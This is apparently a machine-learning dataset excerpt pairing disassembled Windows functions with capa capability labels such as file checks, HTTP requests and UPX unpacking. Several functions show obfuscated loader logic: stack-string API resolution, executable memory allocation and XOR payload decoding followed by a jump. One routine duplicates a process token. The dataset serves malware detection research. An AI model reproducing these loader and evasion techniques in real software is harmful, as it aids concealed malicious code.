joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441c7e
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x210]
push esi
push edi
push 0x20a
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.0045fe80
push 0x412
lea eax, [ebp - 0x624]
push 0
push eax
call fcn.0045fe80
push 0x2f
push esi
call fcn.0045f267
add esp, 0x20
mov esi, 0x105
test eax, eax
je 0x441cfa
push 0xffffffffffffffff
add eax, 2
push eax
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0046e27a
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.SHELL32.dll_PathCleanupSpec]
cmp word [ebp - 0x210], 0
jne 0x441d1b
push 0xffffffffffffffff
push str.unknown
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0046e27a
add esp, 0x10
lea eax, [ebp - 0x624]
push eax
push 0x208
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x624]
push str.Download
push eax
call esi
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x441d62
push eax
lea eax, [ebp - 0x624]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x624]
push eax
call esi
lea eax, [ebp - 0x624]
mov ecx, edi
push eax
call fcn.0041647c
lea eax, [ebp - 0x210]
mov ecx, ebx
push eax
call fcn.0041647c
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045d929
leave
ret

Function at 0x442133
Capabilities:
Check if file exists
Copy file
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x210]
push 0x20a
xor ebx, ebx
mov esi, ecx
push ebx
push eax
call fcn.0045fe80
push edi
lea eax, [ebp - 0x210]
push 0x105
push eax
call fcn.00467942
add esp, 0x18
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4421a4
push ebx
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
add esi, 0x2c
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x4421b1
mov eax, dword [esi]
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edi, eax
cmp dword [ebp + 0xc], ebx
je 0x4421d0
cmp dword [esi + 0x14], 8
jb 0x4421c9
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045d929
leave
ret 8
Function at 0x442266
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x118
lea eax, [ebp - 0x11c]
push 0
push eax
call fcn.0045fe80
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xor ecx, ecx
inc ecx
test eax, eax
je 0x4422d8
cmp dword [ebp - 0x11c], 5
jne 0x4422d2
cmp dword [ebp - 0x118], ecx
jne 0x4422c4
cmp word [ebp - 0xc], cx
jmp 0x4422d2
cmp dword [ebp - 0x118], 0
jne 0x4422d8
cmp word [ebp - 0xc], 3
jae 0x4422d8
xor eax, eax
jmp 0x4422da
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045d929
leave
ret
Function at 0x443e03
Capabilities:
Identify system language via api

Disassembly:
push 0x44
mov eax, 0x48ae83
call fcn.0045e574
mov esi, ecx
mov eax, dword [ebp + 0xc]
mov bl, byte [0x4b5936]
mov bh, byte [0x4b5935]
movsx edi, ax
shr eax, 0x10
cwde
push eax
push edi
push 0x4b5908
mov byte [0x4b5936], 0
mov byte [0x4b5935], 0
mov dword [ebp - 0x4c], eax
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
je 0x443eec
mov byte [0x4b58a3], 0
mov byte [0x4b58a2], 1
test bl, bl
je 0x443f32
lea ecx, [ebp - 0x2c]
call fcn.0041b087
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.00404f1b
lea ecx, [ebp - 0x48]
test al, al
je 0x443e8c
push 0x49fbe8
call fcn.0041b69b
mov byte [ebp - 4], 1
jmp 0x443e9a
push str.Setup_is_harding_work_it_maybe_make_you_cannt_connect_to_internet_if_you_quit_now._Do_you_sure_to_exit_
call fcn.0041b69b
mov byte [ebp - 4], 2
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x28]
call fcn.0041e21c
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], bl
call fcn.0041bb22
mov ecx, esi
call fcn.00443f3b
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0x34
cmovae eax, dword [ebp - 0x28]
push str.FBI_Warning
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x443ee2
push ebx
push ebx
push 0x10
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [ebp - 0x2c]
call fcn.0041bb22
jmp 0x443f32
push dword [ebp - 0x4c]
push edi
push 0x4b58d8
call dword [sym.imp.USER32.dll_PtInRect]
mov byte [0x4b58a2], 0
test eax, eax
je 0x443f1c
mov byte [0x4b58a3], 1
test bh, bh
je 0x443f32
push 6
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x443f32
mov byte [0x4b58a3], 0
test bh, bh
jne 0x443f2b
test bl, bl
je 0x443f32
mov ecx, esi
call fcn.00443f3b
call fcn.0045e51e
ret
Function at 0x449da4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x28
call fcn.0045dbd9
mov esi, eax
xor eax, eax
pop ecx
push dword [ebp + 0xc]
mov ecx, esi
and dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
call fcn.0041647c
lea ebx, [esi + 0x18]
mov dword [esi + 0x24], 2
xor eax, eax
mov edi, ebx
xor ecx, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push ecx
push esi
push 0x449d0e
push ecx
push ecx
mov dword [ebp - 4], ecx
call fcn.00466fb1
mov edi, eax
add esp, 0x18
test edi, edi
jne 0x449e09
mov ecx, esi
call fcn.00449220
jmp 0x449e3c
push 0x2710
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x449e2e
cmp dword [ebx], 3
jne 0x449e2e
mov ecx, dword [ebp + 8]
push 0xc
push ebx
push 0x26
pop edx
call fcn.0044a0d9
pop ecx
pop ecx
mov ecx, esi
call fcn.00449220
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x449e43
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4b1070]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x4b5b98], 0
jne 0x449eb6
push 0x20a
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.0045fe80
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4a11cc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ecx, ecx
mov dword [0x4b5b98], eax
test eax, eax
setne cl
mov eax, ecx
jmp 0x449eb9
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045d929
leave
ret
Function at 0x44a158
Capabilities:
Check http status code
Check internet connectivity via wininet
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push 0x268
push 0x4ac760
call fcn.00482f80
mov edx, ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48], eax
xor ebx, ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x44], ebx
push 8
pop ecx
mov esi, str.Accept:___r_n_r_n
lea edi, [ebp - 0x3c]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x50], ebx
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], 4
cmp dword [ebp - 0x54], ebx
jne 0x44a1ad
xor eax, eax
jmp 0x44a2e7
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
mov dword [ebp - 4], ebx
push ebx
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test byte [ebp - 0x50], 0x20
je 0x44a1d7
mov dword [ebp - 4], 0xfffffffe
mov edx, dword [ebp - 0x40]
jmp 0x44a2d9
mov edx, dword [ebp - 0x48]
test edx, edx
je 0x44a1fd
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x48], eax
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x44a1e6
sub ecx, dword [ebp - 0x48]
sar ecx, 1
je 0x44a1fd
push 3
pop esi
mov edi, edx
push ebx
push ebx
push edi
push esi
push str.Mozilla_5.0__compatible__MSIE_8.0__Windows_NT_6.1__LeagSoft.0_
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x44a1c8
push ebx
push 0x84000100
push 0xffffffffffffffff
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x4c]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
mov dword [ebp - 0x44], esi
test esi, esi
jne 0x44a243
mov dword [ebp - 4], 0xfffffffe
mov edx, dword [ebp - 0x40]
jmp 0x44a2dc
push 0x20a
push ebx
lea eax, [ebp - 0x278]
push eax
call fcn.0045fe80
add esp, 0xc
mov dword [ebp - 0x64], 0x208
push ebx
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x278]
push 0x2f
push esi
mov edi, dword [sym.imp.WININET.dll_HttpQueryInfoW]
call edi
mov dword [ebp - 0x58], ebx
push ebx
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x58]
push eax
push 0x20000013
push esi
call edi
test eax, eax
je 0x44a234
cmp dword [ebp - 0x58], 0xc8
jne 0x44a234
push ebx
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x20000005
push esi
call edi
mov edx, dword [ebp - 0x40]
test eax, eax
je 0x44a2b4
mov eax, dword [ebp - 0x60]
mov dword [edx + 0x24], eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 4], 0xfffffffe
jmp 0x44a2dc
mov esi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x4c]
mov dword [edx + 4], ecx
mov dword [edx + 8], esi
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4773f1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00477270

Function at 0x47c084
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047bd44
Function at 0x69b250
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c8000]
push edi
or ebp, 0xffffffff
jmp 0x69b272
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x69b279
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x69b268
mov eax, 1
add ebx, ebx
jne 0x69b28b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x69b29c
jne 0x69b2bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x69b2bb
dec eax
add ebx, ebx
jne 0x69b2a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x69b280
add ebx, ebx
jne 0x69b2b7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x69b30d
xor ecx, ecx
sub eax, 3
jb 0x69b2d3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x69b342
sar eax, 1
mov ebp, eax
jmp 0x69b2de
add ebx, ebx
jne 0x69b2de
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x69b2ac
inc ecx
add ebx, ebx
jne 0x69b2ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x69b2ac
add ebx, ebx
jne 0x69b2f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x69b2ee
jne 0x69b30a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x69b2ee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x69b32c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x69b31e
jmp 0x69b26e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x69b32c
add edi, ecx
jmp 0x69b26e
pop esi
mov edi, esi
mov ecx, 0x5fba
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x69b34a
cmp byte [edi], 0x24
jne 0x69b34a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x69b34f
lea edi, [esi + 0x298000]
mov eax, dword [edi]
or eax, eax
je 0x69b3c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2b6aa8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2b6c24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x69b37c
mov ecx, edi
jns 0x69b3ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2b6c2c]
or eax, eax
je 0x69b3c1
mov dword [ebx], eax
add ebx, 4
jmp 0x69b399
call dword [esi + 0x2b6c28]
mov ebp, dword [esi + 0x2b6c30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x69b3fb
sub esp, 0xffffff80
jmp 0x4c4611
Function at 0x7003e2a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x7003e39
pop dword [ebp - 0x48]
mov eax, 0x86aa42ed
add eax, 0x8055fb4c
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x7a177767
sub dword [ebp - 0x58], 0x2bc5321c
mov dword [ebp - 0x54], 0x61480c70
add dword [ebp - 0x54], 0xd0eb3fd5
mov dword [ebp - 0x50], 0xd8304473
sub dword [ebp - 0x50], 0x8be40045
mov dword [ebp - 0x4c], 0x362e48b3
add dword [ebp - 0x4c], 0xc9d1b74d
lea eax, [ebp - 0x58]
push eax
mov eax, 0xe0f061b7
add eax, 0x2610ce79
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xc40dfb15
add dword [ebp - 0x58], 0xb0646e41
mov dword [ebp - 0x54], 0x27327009
add dword [ebp - 0x54], 0x1a39f16c
mov dword [ebp - 0x50], 0x3f62cdfd
sub dword [ebp - 0x50], 0xdbf36191
mov dword [ebp - 0x4c], 0x5d6b5665
sub dword [ebp - 0x4c], 0x5d6b5665
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xb780d5db
sub eax, 0xb07fa5a7
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x39189
push 0
call eax
mov ecx, 0x696d4a3d
add ecx, 0x9692f7ac
xor edx, edx
add edx, eax
mov esi, 0x4710e136
sub esi, 0x400edf36
add esi, dword [ebp - 0x48]
mov ebx, 0x842f4081
sub ebx, 0xe3e3cf8a
add dword [ebp - 4], ebx
mov edi, dword [esi]
sub dword [ebp - 0x38], 0x50f0df9c
xor edi, ebx
add dword [ebp - 0x1c], edi
mov dword [edx], edi
xor dword [ebp - 0x44], 0x93d9bb87
add edx, 0x94ecfee2
sub edx, 0x94ecfede
add esi, 0x46fe9a97
sub esi, 0x46fe9a93
loop 0x7003f5d
add eax, 0x84ac94bd
add eax, 0x7b5465ba
xor ebx, ebx
add ebx, eax
add eax, 0xa8f0e3c6
add eax, 0x570f1c3f
mov ecx, 0x9d45aaaa
add ecx, 0x69ba5556
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003e2a
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003e2a
int3
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40d05a
pop dword [ebp - 0x1c]
mov eax, 0xdcc451ad
add eax, 0x237c7ead
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x27defdc9
sub dword [ebp - 0x2c], 0xd98cb87e
mov dword [ebp - 0x28], 0xc2c0adac
add dword [ebp - 0x28], 0x6f729e99
mov dword [ebp - 0x24], 0x731e2c84
sub dword [ebp - 0x24], 0x26d1e856
mov dword [ebp - 0x20], 0xf6fa111e
add dword [ebp - 0x20], 0x905eee2
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xb4ea3e87
sub dword [ebp - 0x2c], 0x4077d531
mov dword [ebp - 0x28], 0xe8adb48e
sub dword [ebp - 0x28], 0xa7415319
mov dword [ebp - 0x24], 0x90596a0b
add dword [ebp - 0x24], 0xd3160261
mov dword [ebp - 0x20], 0x2edca10c
sub dword [ebp - 0x20], 0x2edca10c
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xa5a6a57e
sub eax, 0xa565c4f6
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36bb0
push 0
call eax
mov ecx, 0x441b
xor esi, esi
add esi, eax
mov edi, 0x5997198a
add edi, 0xa6aad676
add edi, dword [ebp - 0x1c]
mov ebx, 0x3e33cd89
add ebx, 0x25bf277c
sub dword [ebp - 4], 0x624d79b8
mov edx, dword [edi]
xor edx, ebx
mov dword [ebp - 4], 0x4168fe35
mov dword [esi], edx
add esi, 0xe62c7b51
sub esi, 0xe62c7b4d
add edi, 4
loop 0x40d173
add eax, 0x1ef1802f
sub eax, 0x1ef07cf0
xor ebx, ebx
add ebx, eax
add eax, 0xbedefd46
add eax, 0x412102bf
mov ecx, 0xab42fe94
add ecx, 0x54fd016c
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x40113e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
mov esi, ecx
test esi, esi
je 0x401165
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeA]
test eax, eax
jne 0x401160
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401165
test al, 0x10
jne 0x401165
xor eax, eax
inc eax
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x401169
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov edi, edx
cmp esi, 1
je 0x40117d
cmp esi, 9
jne 0x40119d
mov edx, str.http:
mov ecx, edi
call fcn.004010fe
test eax, eax
jne 0x4011e3
mov edx, str.https:
mov ecx, edi
call fcn.004010fe
test eax, eax
jne 0x4011e3
cmp esi, 3
jne 0x4011a6
mov ecx, edi
jmp 0x4011c7
cmp esi, 2
jne 0x4011bf
test edi, edi
je 0x40120c
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40120c
test al, 0x10
jmp 0x4011e1
cmp esi, 4
jne 0x4011ce
mov ecx, dword [ebp + 8]
call fcn.0040113e
jmp 0x4011df
cmp esi, 5
jne 0x4011eb
mov edx, str.mailto:
mov ecx, edi
call fcn.004010fe
test eax, eax
je 0x40120c
xor eax, eax
inc eax
pop edi
pop esi
pop ecx
pop ebp
ret
cmp esi, 6
je 0x4011fa
cmp esi, 8
je 0x4011fa
cmp esi, 7
jne 0x40120c
call fcn.00401050
test eax, eax
jne 0x4011e3
mov ecx, edi
call fcn.00402011
jmp 0x4011df
xor eax, eax
jmp 0x4011e6

Function at 0x4012a5
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x428008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov word [ebp - 8], 0x500
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401305
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x10], ebx
cmovne ebx, eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00407b48
leave
ret
Function at 0x401314
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
push str.Shell_TrayWnd
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x401395
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 4], edi
je 0x401395
push dword [ebp - 4]
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401395
lea eax, [ebp - 8]
push eax
push 2
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0xc]
push eax
push 1
push 2
push edi
push 0xf01ff
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
jmp 0x401397
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x401569
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
test edi, edi
jne 0x40157c
test esi, esi
je 0x4015b0
call fcn.004012a5
test eax, eax
jne 0x4015a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push edi
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
mov eax, ecx
jmp 0x4015d2
call fcn.00401314
mov ebx, eax
test ebx, ebx
jne 0x4015b4
xor eax, eax
jmp 0x4015d2
push ebx
push dword [ebp + 0x10]
mov edx, esi
mov ecx, edi
push dword [ebp + 0xc]
call fcn.0040139b
add esp, 0xc
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4015d7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
mov dword [esp + 0xc], edx
mov edx, ebx
push edi
call fcn.00401169
pop ecx
test eax, eax
jne 0x4015ff
push 0xb
pop eax
jmp 0x401652
call fcn.00401050
test eax, eax
jne 0x40163d
call fcn.004012a5
test eax, eax
je 0x40163d
cmp esi, 7
je 0x401659
cmp esi, 1
je 0x401620
cmp esi, 9
jne 0x40163d
push dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
mov edx, ebx
push dword [ebp + 0x14]
push edi
call fcn.00401aaf
add esp, 0xc
test eax, eax
jne 0x40166a
cmp esi, 1
jne 0x40166a
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x20]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 0x18]
mov edx, ebx
push dword [ebp + 0x14]
push edi
call fcn.00401569
add esp, 0xc
neg eax
sbb eax, eax
and eax, 0x21
jmp 0x401652
Function at 0x4021b3
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x428008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, ecx
mov dword [ebp - 0x314], edi
and dword [esi], 0
cmp ebx, 7
ja 0x402393
mov eax, dword [edi + ebx*4]
test eax, eax
je 0x4021f3
mov dword [esi], eax
xor eax, eax
jmp 0x402396
push 0x400
call fcn.00407dc1
mov dword [esp], 0x400
push 0
push eax
mov dword [esi], eax
call fcn.00408f60
xor eax, eax
add esp, 0xc
inc eax
jmp dword [ebx*4 + 0x4023a7]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407b48
leave
ret 0xc

Function at 0x4023c7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x428008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
mov esi, edx
test edi, edi
je 0x402448
test esi, esi
je 0x402448
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.00408f60
push edi
mov edi, 0x3ff
lea eax, [ebp - 0x404]
push edi
push eax
call fcn.0040bf15
push 0x423cd4
lea eax, [ebp - 0x404]
push edi
push eax
call fcn.0040bf6f
push esi
lea eax, [ebp - 0x404]
push edi
push eax
call fcn.0040bf6f
add esp, 0x30
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402448
xor eax, eax
inc eax
jmp 0x40244a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00407b48
leave
ret